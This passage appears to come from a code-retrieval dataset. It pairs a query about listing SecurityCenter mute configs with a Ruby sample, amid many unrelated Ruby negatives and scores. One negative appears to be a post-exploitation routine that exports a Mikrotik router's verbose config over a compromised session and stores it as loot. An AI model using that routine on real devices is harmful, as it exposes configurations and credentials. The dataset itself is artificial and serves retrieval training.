attributes\n batch.each do |doc_id|\n gf = ::GenericFile.load_instance_from_solr(doc_id)\n terms.each do |key|\n # OVERRIDE: Handle singular proprties by choosing the first non-nil value.\n value = gf.send(key)\n case value\n when Array\n h[key] ||= []\n h[key] = (h[key] + value).uniq\n else\n h[key] ||= value\n end\n # END OVERRIDE\n end\n @names << gf.to_s\n permissions = (permissions + gf.permissions).uniq\n end\n\n initialize_fields(h, @generic_file)\n\n @generic_file.permissions_attributes = [{ type: \"group\", name: \"public\", access: \"read\" }]\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"addIns\", @add_ins)\n writer.write_object_value(\"api\", @api)\n writer.write_string_value(\"appId\", @app_id)\n writer.write_collection_of_object_values(\"appManagementPolicies\", @app_management_policies)\n writer.write_collection_of_object_values(\"appRoles\", @app_roles)\n writer.write_string_value(\"applicationTemplateId\", @application_template_id)\n writer.write_object_value(\"certification\", @certification)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_object_value(\"createdOnBehalfOf\", @created_on_behalf_of)\n writer.write_string_value(\"defaultRedirectUri\", @default_redirect_uri)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"disabledByMicrosoftStatus\", @disabled_by_microsoft_status)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"extensionProperties\", @extension_properties)\n writer.write_collection_of_object_values(\"federatedIdentityCredentials\", @federated_identity_credentials)\n writer.write_string_value(\"groupMembershipClaims\", @group_membership_claims)\n writer.write_collection_of_object_values(\"homeRealmDiscoveryPolicies\", @home_realm_discovery_policies)\n writer.write_collection_of_primitive_values(\"identifierUris\", @identifier_uris)\n writer.write_object_value(\"info\", @info)\n writer.write_boolean_value(\"isDeviceOnlyAuthSupported\", @is_device_only_auth_supported)\n writer.write_boolean_value(\"isFallbackPublicClient\", @is_fallback_public_client)\n writer.write_collection_of_object_values(\"keyCredentials\", @key_credentials)\n writer.write_object_value(\"logo\", @logo)\n writer.write_string_value(\"notes\", @notes)\n writer.write_boolean_value(\"oauth2RequirePostResponse\", @oauth2_require_post_response)\n writer.write_object_value(\"optionalClaims\", @optional_claims)\n writer.write_collection_of_object_values(\"owners\", @owners)\n writer.write_object_value(\"parentalControlSettings\", @parental_control_settings)\n writer.write_collection_of_object_values(\"passwordCredentials\", @password_credentials)\n writer.write_object_value(\"publicClient\", @public_client)\n writer.write_string_value(\"publisherDomain\", @publisher_domain)\n writer.write_object_value(\"requestSignatureVerification\", @request_signature_verification)\n writer.write_collection_of_object_values(\"requiredResourceAccess\", @required_resource_access)\n writer.write_string_value(\"samlMetadataUrl\", @saml_metadata_url)\n writer.write_string_value(\"serviceManagementReference\", @service_management_reference)\n writer.write_string_value(\"signInAudience\", @sign_in_audience)\n writer.write_object_value(\"spa\", @spa)\n writer.write_object_value(\"synchronization\", @synchronization)\n writer.write_collection_of_primitive_values(\"tags\", @tags)\n writer.write_guid_value(\"tokenEncryptionKeyId\", @token_encryption_key_id)\n writer.write_collection_of_object_values(\"tokenIssuancePolicies\", @token_issuance_policies)\n writer.write_collection_of_object_values(\"tokenLifetimePolicies\", @token_lifetime_policies)\n writer.write_object_value(\"verifiedPublisher\", @verified_publisher)\n writer.write_object_value(\"web\", @web)\n end", "def init_rac_data\n \n if connected_user and (self.permission_owner.nil? or self.permission_owner.empty?)\n self.permission_owner = connected_user.username\n end\n\n if connected_user and connected_user.usergroups.length > 0 and (self.permission_group.nil? or self.permission_group.empty?)\n self.permission_group = connected_user.usergroups.first.group \n end\n\n if self.permission_modifier_owner.nil? \n self.permission_modifier_owner = 6 \n end\n \n if self.permission_modifier_group.nil?\n self.permission_modifier_group = 2 \n end\n \n if self.permission_modifier_all.nil?\n self.permission_modifier_all = 0\n end \n\n end", "def append_info_to_payload(payload)\n super(payload)\n payload[:ip] = request.remote_ip\n payload[:admin_user_id] = current_admin_user.id if current_admin_user.present?\n payload[:user_id] = current_user.id if current_user.present?\n end", "def permission_policy_params\n params.require(:permission_policy).permit(:name, :io1, :io2, :io3, :io4)\n end", "def build_verification_permissions\n { 'vote' => { 'authorization_handlers' => { 'dummy_authorization_handler' => { 'options' => { 'postal_code' => '08001' } } } } }\n end", "def build_roles\n if local_attr? :build\n slide.set_attr 'build-initiated', ''\n (local_attr :build).split('+').map {|type| BUILD_ROLE_BY_TYPE[type] }\n elsif option? :build\n if (_slide = slide).local_attr? 'build-initiated'\n ['build-items']\n else\n _slide.set_attr 'build-initiated', ''\n ['build', 'build-items']\n end\n else\n []\n end\n end", "def role_permission_params\n params.fetch(:role_permission, {}).permit(:role_id, :permission_id)\n end", "def rolepermission_params\n params.fetch(:rolepermission, {})\n end", "def construct_attribs_payload( orcid, oauth_access, oauth_renew, oauth_scope, user_types )\n h = {}\n\n h['orcid'] = orcid\n h['oauth_access_token'] = oauth_access\n h['oauth_refresh_token'] = oauth_renew\n h['user_types'] = user_types\n h['scope'] = oauth_scope\n\n #puts \"==> #{h.to_json}\"\n return h.to_json\n end", "def permitted_categories\n @current_folder = DocumentFolder.new\n @permitted_categories = upload_permitted_categories\n end", "def build_resource_params\n parameters = respond_to?(:permitted_params, true) ? permitted_params : params\n rparams = [parameters[resource_request_name] || parameters[resource_instance_name] || {}]\n if without_protection_given?\n rparams << without_protection\n else\n rparams << as_role if role_given?\n end\n\n rparams\n end", "def create\n submenu_item 'role_new'\n load_permissions\n ids=params[:permissions].select{|k,v| v=='1'}.map { |k,v| k.to_i } unless params[:permissions].nil?\n if ids.length > 0\n permissions=Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n params[:role][:permissions] = permissions\n @role = Role.new(params[:role])\n if @role.save\n flash[:notice] = \"创建角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = \"创建角色失败\"\n render :action => 'new'\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'new'\n end\n\n end", "def shortcut_params\n json_params = ActionController::Parameters.new(JSON.parse(params[:payload]))\n json_params.permit(:trigger_id, :type, :user => [:id, :team_id])\n end", "def role_params\n params.require(:role).permit(:name, :description, roles_rights_attributes: [ :id, :access_level, :right_id])\n end", "def permissions\n if @permissions.nil?\n perm_array = []\n roles.each { |r| perm_array << r.permission_ids }\n @permissions = perm_array.flatten.uniq\n else\n @permissions\n end\n end", "def has_role settings, role, make_security_group=nil\n security_group role if make_security_group\n settings[:user_data][:attributes][:run_list] << \"role[#{role}]\"\nend", "def createAcl(roles)\n header = Nokogiri::XML('<?xml version = \"1.0\" encoding = \"UTF-8\" standalone =\"yes\"?>')\n builder = Nokogiri::XML::Builder.with(header) do |xml|\n xml.Policy('PolicyId' => 'mediapackage-1',\n 'RuleCombiningAlgId' => 'urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides',\n 'Version' => '2.0',\n 'xmlns' => 'urn:oasis:names:tc:xacml:2.0:policy:schema:os') {\n roles.each do |role|\n xml.Rule('RuleId' => \"#{role[:user]}_#{role[:permission]}_Permit\", 'Effect' => 'Permit') {\n xml.Target {\n xml.Actions {\n xml.Action {\n xml.ActionMatch('MatchId' => 'urn:oasis:names:tc:xacml:1.0:function:string-equal') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:permission]) }\n xml.ActionAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:1.0:action:action-id',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n }\n xml.Condition{\n xml.Apply('FunctionId' => 'urn:oasis:names:tc:xacml:1.0:function:string-is-in') {\n xml.AttributeValue('DataType' => 'http://www.w3.org/2001/XMLSchema#string') { xml.text(role[:user]) }\n xml.SubjectAttributeDesignator('AttributeId' => 'urn:oasis:names:tc:xacml:2.0:subject:role',\n 'DataType' => 'http://www.w3.org/2001/XMLSchema#string')\n }\n }\n }\n end\n }\n end\n\n return builder.to_xml\nend", "def mass_assignment_authorizer(role)\n ActsAsTaggableOnDynamic::DynamicMassAssignmentAuthorizer.new(self, super(role))\n end", "def all_role_params\n params.require(:role).permit(:name, :resource_type, :role_type, :resource_id, users_roles_attributes: [:user_id, :_destroy])\n end" ]
[ "0.5770808", "0.5586028", "0.547323", "0.5462252", "0.54039717", "0.5340296", "0.5325149", "0.5298874", "0.52615315", "0.5246816", "0.5240375", "0.5230049", "0.52200145", "0.52200145", "0.51953745", "0.51852095", "0.51749897", "0.51381665", "0.51348686", "0.5129264", "0.51143175", "0.5107285", "0.50992143", "0.5061084", "0.5060994", "0.50378424", "0.50363904", "0.50363475", "0.5028946", "0.5024034", "0.50162417", "0.5014085", "0.50102264", "0.50028825", "0.49957606", "0.4992619", "0.49841237", "0.49729034", "0.49646434", "0.49638355", "0.49606848", "0.4959272", "0.49462962", "0.49426475", "0.4938254", "0.49306977", "0.49247253", "0.49219066", "0.49213076", "0.4921282", "0.49009934", "0.48940602", "0.48916468", "0.4889293", "0.48881218", "0.48880216", "0.48878196", "0.4885128", "0.48793808", "0.4878193", "0.48695695", "0.48673967", "0.4855581", "0.4854011", "0.4853905", "0.4850427", "0.48467302", "0.48461917", "0.48457482", "0.4845207", "0.4842707", "0.48340634", "0.48022726", "0.48000845", "0.47992226", "0.47937584", "0.47888142", "0.47867638", "0.47849873", "0.47820756", "0.47786522", "0.47765455", "0.47749597", "0.47531974", "0.47516945", "0.4745306", "0.47444215", "0.47433922", "0.47304267", "0.4727718", "0.47268578", "0.4726161", "0.47256964", "0.47243664", "0.4722386", "0.47176343", "0.47158825", "0.47150955", "0.47133914", "0.47129753" ]
0.70029217
0
Snippet for the list_mute_configs call in the SecurityCenter service This is an autogenerated example demonstrating basic usage of Google::Cloud::SecurityCenter::V1::SecurityCenter::Clientlist_mute_configs. It may require modification in order to execute successfully.
def list_mute_configs # Create a client object. The client can be reused for multiple calls. client = Google::Cloud::SecurityCenter::V1::SecurityCenter::Client.new # Create a request. To set request fields, pass in keyword arguments. request = Google::Cloud::SecurityCenter::V1::ListMuteConfigsRequest.new # Call the list_mute_configs method. result = client.list_mute_configs request # The returned object is of type Gapic::PagedEnumerable. You can iterate # over elements, and API calls will be issued to fetch pages as needed. result.each do |item| # Each element is of type ::Google::Cloud::SecurityCenter::V1::MuteConfig. p item end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_kms_configs request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_kms_configs_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::NetApp::V1::ListKmsConfigsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def clistadmins(m, channel)\n channel = m.channel if channel.nil?\n if is_supadmin?(m.user) || is_admin?(m.user) || is_chanadmin?(channel, m.user)\n m.reply \"The current admins are #{$adminhash[channel]}.\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def mcl\n build_settings_array RubyRedtail::Query.run(\"settings/mcl\", @api_hash, \"GET\")\n end", "def list_config\n configs = store :get, 'configs'\n (configs.error?) ? 'No config vars set yet.' : configs.to_s\n end", "def mute(*params)\n channels, users = split_params(params)\n channels.each do |channel|\n if @channels.include?(channel) && !@muted_channels.include?(channel)\n @muted_channels << channel\n puts \"Muted channel #{channel}\"\n end\n end\n users.each do |user|\n unless @muted_users.include?(user)\n @muted_users << user\n puts \"Muted user #{user}\"\n end\n end\n end", "def mute(*params)\n channels, users = split_params(params)\n\n channels.each do |channel|\n if @channels.include?(channel) && !@muted_channels.include?(channel)\n @muted_channels << channel\n puts \"Muted channel #{channel}\"\n end\n end\n\n users.each do |user|\n unless @muted_users.include?(user)\n @muted_users << user\n puts \"Muted user #{user}\"\n end\n end\n end", "def clistmods(m)\n if is_supadmin?(m.user) || is_admin?(m.user) || is_chanadmin?(m.channel, m.user) || is_mod?(m.user)\n m.reply \"The current mods are #{$moderators}\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def list_per_instance_configs request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, _body, query_string_params = transcode_list_per_instance_configs_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::InstanceGroupManagersListPerInstanceConfigsResp.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end", "def index\n\t\t@list_configs = current_user.list_configs.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @list_configs }\n\t\t\tformat.json { render :json => @list_configs }\n\t\t\tformat.yaml { render :text => @list_configs.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend", "def channels_list\n get \"channels\"\n end", "def list(filter)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter)\n\t\t\tclient.queue_service_action_call('configurations', 'list', 'KalturaConfigurationsListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def to_s\n '#<Twilio.Conversations.V1.ConfigurationList>'\n end", "def to_s\n '#<Twilio.Conversations.V1.ConfigurationList>'\n end", "def channels(*params)\n puts \"Channels:\"\n\n @channels.each do |channel|\n muted = @muted_channels.include?(channel)\n puts \"#{channel}#{muted ? ' (muted)' : ''}\"\n end\n end", "def config_members\n self.members.find_all_by_role_id(MemberRole.config_role.id)\n end", "def channels(*params)\n puts \"Channels:\"\n @channels.each do |channel|\n muted = @muted_channels.include?(channel)\n puts \"#{channel}#{muted ? \" (muted)\" : \"\"}\"\n end\n end", "def get_list\n\n @context.storage.get_configuration('participant_list') ||\n { 'type' => 'configurations',\n '_id' => 'participant_list',\n 'list' => [] }\n end", "def list()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('configurationgroup', 'list', 'KalturaConfigurationGroupListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def configs\n @configuration.ids\n end", "def list_customer_repricing_configs request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_customer_repricing_configs_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Channel::V1::ListCustomerRepricingConfigsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def getChannelsList\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n result = HTTParty.get(broker_url + \"/resources/channels\", :verify => false)\n temp2 = JSON.parse(result.body)\n\n channels_data = temp2[\"resource_response\"][\"resources\"]\n return channels_data\n \n end", "def cm_config(cm = nil)\n cm_list = load_yaml(file: CM_LIST)\n cm_list.key?(cm) ? cm_list.select { |k, _| k == cm }[cm] : cm_list\n rescue Errno::ENOENT\n raise CMUXCMListError, \"No such file #{CM_LIST}\"\n end", "def list(configs)\n puts \"Available Configs:\"\n configs.each{|app, dir|\n files, dirs = 0, 0\n Dir.foreach(dir){|f|\n if not IGNORE.include?(f) then\n if File.directory?(f) then\n dirs += 1\n else\n files += 1\n end\n end\n }\n puts \" #{app} \\t: #{files} file#{(files==1)?'':'s'}, #{dirs} dir#{(dirs == 1)?'':'s'}.\"\n }\nend", "def list_channels(opts={})\n response = @connection.request('channels.list', opts)\n end", "def to_s\n '#<Twilio.Voice.V1.SettingsList>'\n end", "def show\n\t\t@list_config = current_user.list_configs.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @list_config }\n\t\t\tformat.json { render :json => @list_config }\n\t\t\tformat.yaml { render :text => @list_config.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend", "def settings_list\n setting.list\n end", "def muted_users\n @muted_users ||= (self[:muted_users].blank? ? [] : YAML.load(self[:muted_users]))\n end", "def listchannels(**args)\n stub.list_channels(\n Lnrpc::ListChannelsRequest.new(\n active_only: args[:active_only], inactive_only: args[:inactive_only],\n public_only: args[:public_only], private_only: args[:private_only]\n )\n )\n end", "def list(channels = nil, target = nil)\n channel_list = Array(channels).map(&:to_s).join ',' \n \n raw \"LIST #{channel_list} #{target}\".strip << \"\\r\\n\"\n end", "def configs_from(options)\n from = options[:from]\n list = []\n\n return list unless from\n\n if Array === from\n from_name, from_opts = *from\n else\n from_name, from_opts = from, {}\n end\n\n from_config = RC.configuration(from_name)\n\n from_opts[:feature] = options[:feature] unless from_opts.key?(:feature) if options[:feature]\n from_opts[:command] = options[:command] unless from_opts.key?(:command) if options[:command]\n from_opts[:profile] = options[:profile] unless from_opts.key?(:profile) if options[:profile]\n\n from_opts[:feature] = from_opts[:feature].to_s if from_opts[:feature]\n from_opts[:command] = from_opts[:command].to_s if from_opts[:command]\n from_opts[:profile] = from_opts[:profile].to_s if from_opts[:profile]\n\n from_config.each do |ftr, confs|\n confs.each_with_index do |c, i|\n if c.match?(from_opts)\n list << c.copy(options)\n end\n end\n end\n\n list\n end", "def list_resources\n 'channels'\n end", "def mute_chats_bulk(mute_chats_bulk_input_object, opts = {})\n mute_chats_bulk_with_http_info(mute_chats_bulk_input_object, opts)\n nil\n end", "def conference_mute(params)\n path = @version + '/Conference/Member/Mute/'\n method = 'POST'\n return request(path, method, params)\n end", "def muted_topics\n @muted_topics ||= (self[:muted_topics].blank? ? [] : YAML.load(self[:muted_topics]))\n end", "def clistalladmins(m)\n if is_supadmin?(m.user) || is_admin?(m.user)\n m.reply \"The current admins are #{$adminhash}.\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def enum_configs\n host = session.session_host\n port = session.session_port\n exec_commands = [\n {\n 'cmd' => '/export verbose',\n 'fn' => 'get_config',\n 'desc' => 'Get Device Config on Mikrotik Device'\n },\n ]\n exec_commands.each do |ec|\n command = ec['cmd']\n cmd_out = session.shell_command(command).gsub(/#{command}/, '')\n print_status(\"Gathering info from #{command}\")\n # detect if we're in pagination and get as much data as possible\n if ec['fn'] == 'get_config'\n mikrotik_routeros_config_eater(host, port, cmd_out.strip)\n else\n cmd_loc = store_loot(\"mikrotik.#{ec['fn']}\",\n 'text/plain',\n session,\n cmd_out.strip,\n \"#{ec['fn']}.txt\",\n ec['desc'])\n vprint_good(\"Saving to #{cmd_loc}\")\n end\n end\n end", "def list_settings\n configure do |settings|\n settings.reject { |_, setting| setting.internal? }.each do |name, setting|\n @env.ui.info \"#{name}\\t#{setting.description}\", bold: true\n @env.ui.info indent(setting.help, 2) unless setting.help.nil?\n value_info = \"Current value: #{setting.value}\"\n value_info += ' (default)' unless setting.set?\n @env.ui.info indent(value_info, 2)\n @env.ui.info ''\n end\n end\n end", "def get_roles_list()\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['apiSecret'] = @api_secret\n\n resource_path = 'identity/v2/manage/role'\n get_request(resource_path, query_parameters, nil)\n end", "def list_channel_partner_repricing_configs request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_channel_partner_repricing_configs_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Channel::V1::ListChannelPartnerRepricingConfigsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def admin_conversations_restrictAccess_listGroups(options = {})\n raise ArgumentError, 'Required arguments :channel_id missing' if options[:channel_id].nil?\n post('admin.conversations.restrictAccess.listGroups', options)\n end", "def list_monitor_config_policies_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MonitorsAPI.list_monitor_config_policies ...'\n end\n # resource path\n local_var_path = '/api/v2/monitor/policy'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'MonitorConfigPolicyListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_monitor_config_policies,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MonitorsAPI#list_monitor_config_policies\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_s\n '#<Twilio.Messaging.V1.DomainConfigList>'\n end", "def names\n @configs.keys\n end", "def names\n @configs.keys\n end", "def getclconfig\n #@creds = @current_user.clouds.all.sort_by(&:provider)\n @stack = Appman.find_by_uuid(params[:uuid])\n @creds = @stack.clouds.all.sort_by(&:provider)\n #@creds = Cloud.all.sort_by(&:provider)\n @azure = false\n @google = false\n @kubernetes = false\n @openstack = false\n @dockerregistry = false\n @aws = false\n @creds.each do |c|\n case c.provider\n when \"azure\"\n @azure = true\n when \"google\"\n @google = true\n when \"kubernetes\"\n @kubernetes = true\n when \"openstack\"\n @openstack = true\n when \"dockerregistry\"\n @dockerregistry = true\n when \"aws\"\n @aws = true\n end\n end\n @appmenid = params[:uuid]\n render \"clouds/getclconfig\", layout: false\n end", "def all\n JSON.parse(@client.call('config.get'))\n end", "def index\n @message_configs = MessageConfig.all\n end", "def get_watchlists(opts={})\n request_params = { source: @source_id }\n request_params.merge(opts) # valid values are accountid and listid - see the API docs for details\n\n uri = URI.parse GET_WATCHLISTS_URL\n uri.query = URI.encode_www_form(request_params)\n\n response = HTTParty.get(uri, headers: {'Cookie' => \"JSESSIONID=#{@session_id}\"}, timeout: 10)\n if response.code != 200\n raise TDAmeritradeApiError, \"HTTP response #{response.code}: #{response.body}\"\n end\n\n watchlists = Array.new\n w = Nokogiri::XML::Document.parse response.body\n w.css('watchlist').each do |watchlist|\n watchlist_name = watchlist.css('name').text\n watchlist_id = watchlist.css('id').text\n watchlist_symbols = Array.new\n\n watchlist.css('watched-symbol').each do |ws|\n watchlist_symbols << ws.css('security symbol').text\n end\n\n watchlists << { name: watchlist_name, id: watchlist_id, symbols: watchlist_symbols }\n end\n\n watchlists\n\n rescue Exception => e\n raise TDAmeritradeApiError, \"error retrieving watchlists - #{e.message}\" if !e.is_ctrl_c_exception?\n end", "def index\n @configs = Config.all\n end", "def grab_list(config)\n if config.include?(@agent_key)\n section = config[@agent_key]\n else\n section = config['*']\n end\n\n if section.length > MAX_DIRECTIVES\n section.slice!(MAX_DIRECTIVES, section.length)\n end\n\n section.each do |pair|\n key, value = pair.split(':')\n\n next if key.nil? || value.nil? ||\n key.empty? || value.empty?\n\n key.downcase!\n key.lstrip!\n key.rstrip!\n\n value.lstrip!\n value.rstrip!\n\n disallow(value) if key == DISALLOW\n delay(value) if key == DELAY\n allow(value) if key == ALLOW\n end\n end", "def list_channels(workspace)\n puts \"\\nChannel List\\n\\n\"\n tp workspace.channels, \"id\", \"name\", \"topic\", \"member_count\"\nend", "def write(configs_map)\n display 'Writing configs to conflux.yml...'\n\n File.open(conflux_yml_path, 'w+') do |f|\n f.write(yaml_header)\n\n # configs_map has service names for keys and arrays of config vars for those services (respectively) as its values.\n # This yaml file will therefore group the conflux config vars by service\n configs_map.each { |addon_name, configs|\n f.write(\"\\n\\n# #{addon_name}\") if !configs.empty?\n\n configs.each { |config|\n key = config['name']\n\n if !ENV.key?(key)\n description = config['description'].nil? ? '' : \" # #{config['description']}\"\n f.write(\"\\n#{key}#{description}\")\n end\n }\n }\n end\n end", "def all_merchant_configs\n profile.merchant_configs\n end", "def unmute(*params)\n channels, users = split_params(params)\n\n channels.each do |channel|\n if @channels.include?(channel) && @muted_channels.include?(channel)\n @muted_channels.delete(channel)\n puts \"Unmuted channel #{channel}\"\n end\n end\n\n users.each do |user|\n if @muted_users.include?(user)\n @muted_users.delete(user)\n puts \"Unmuted user #{user}\"\n end\n end\n end", "def unmute(*params)\n channels, users = split_params(params)\n channels.each do |channel|\n if @channels.include?(channel) && @muted_channels.include?(channel)\n @muted_channels.delete(channel)\n puts \"Unmuted channel #{channel}\"\n end\n end\n users.each do |user|\n if @muted_users.include?(user)\n @muted_users.delete(user)\n puts \"Unmuted user #{user}\"\n end\n end\n end", "def fetch_whitelist_from_configuration\n conf_file = 'sniffer_config.json'.freeze\n if File.file?(conf_file)\n common_conf_sniffer_conf = JSON.parse(File.read(conf_file))\n searchable_folders = common_conf_sniffer_conf['whitelist'] - common_conf_sniffer_conf['blacklist']\n whitelist = F! searchable_folders.empty? ? searchable_folders : Dir.glob('../*/')\n return whitelist\n end\n\n puts \"No sniffer config found, Missing file, sniffer_conf.json\"\n return Dir.glob('../*/')\n end", "def list_ccadmins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n list_scope_admins(domain_id: domain.id)\n end", "def configs\n # Caching here is not necessary or preferred as configurations are\n # cached on the class (which allows late inclusion of configurable\n # modules to work properly).\n bound? ? receiver.class.configs : EMPTY_HASH\n end", "def core_getHideUsersPermissionsSettings\n return CORE_SUPERUSERSPERMISSIONSHIDESETTINGS if defined? CORE_SUPERUSERSPERMISSIONSHIDESETTINGS\n # accedo al config.yml\n directory = core_getCacheDirectory\n config = YAML.load(\n File.read(File.expand_path(\"#{directory}/config.yml\", __FILE__))\n )\n # controllo che il file di configurazione esista e abbia i dati necessari\n return false if !config['hide_users_permissions'] || config['hide_users_permissions'].nil?\n # estraggo lista impostazioni utenti da nascondere\n settings = config['hide_users_permissions'].to_s.split(',')\n # definisco output\n output = []\n # riempio file di output\n settings.each do |setting|\n setting.slice! ' '\n if setting\n raise 'Permission value not correct on hide_users_permissions config' unless (1..11).to_a.include? setting.to_i\n output.push(setting.to_i)\n end\n end\n # ritorno l'output\n return output\n end", "def list_measurement_protocol_secrets request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_measurement_protocol_secrets_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Analytics::Admin::V1alpha::ListMeasurementProtocolSecretsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def mute()\n update(:mute => true)\n end", "def get_kms_config request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_kms_config_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::NetApp::V1::KmsConfig.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def load_snippet_configs path\n return [] unless path\n Dir.chdir path do\n Dir.glob(\"**/*.json\").map do |file_path|\n json = JSON.load_file file_path\n proto = Google::Cloud::Tools::Snippetgen::Configlanguage::V1::SnippetConfig.new underscore_keys json\n proto.json_representation = json\n proto\n end\n end\n end", "def configure(allow_suffix=true)\n [:'config-dir', :'spool-dir'].each {|dir| mkdir($config[dir]) }\n %w(CONFIG RECIPIENTS MESSAGES).each {|file| mkyml(file, allow_suffix) }\n 0\n end", "def list_monitor_config_policies(opts = {})\n data, _status_code, _headers = list_monitor_config_policies_with_http_info(opts)\n data\n end", "def index\n @config_set_values = ConfigSetValue.all\n end", "def apply_config(config)\n if !config.is_a?(Array)\n config = [config]\n end\n config.each do |entry|\n pub = PubControlClient.new(entry['uri'])\n if entry.key?('iss')\n pub.set_auth_jwt({'iss' => entry['iss']}, entry['key'])\n end\n @clients.push(pub)\n end\n end", "def list_uptime_check_configs project_id\n require \"google/cloud/monitoring\"\n\n client = Google::Cloud::Monitoring.uptime_check_service\n project_name = client.project_path project: project_id\n configs = client.list_uptime_check_configs parent: project_name\n\n configs.each { |config| puts config.name }\nend", "def reconfigure_param_list\n list = []\n\n if role_allows?(:feature => 'vm_reconfigure_disks')\n list += [\n %i[vmAddDisks disk_add],\n %i[vmResizeDisks disk_resize],\n %i[vmRemoveDisks disk_remove]\n ]\n end\n\n if role_allows?(:feature => 'vm_reconfigure_networks')\n list += [\n 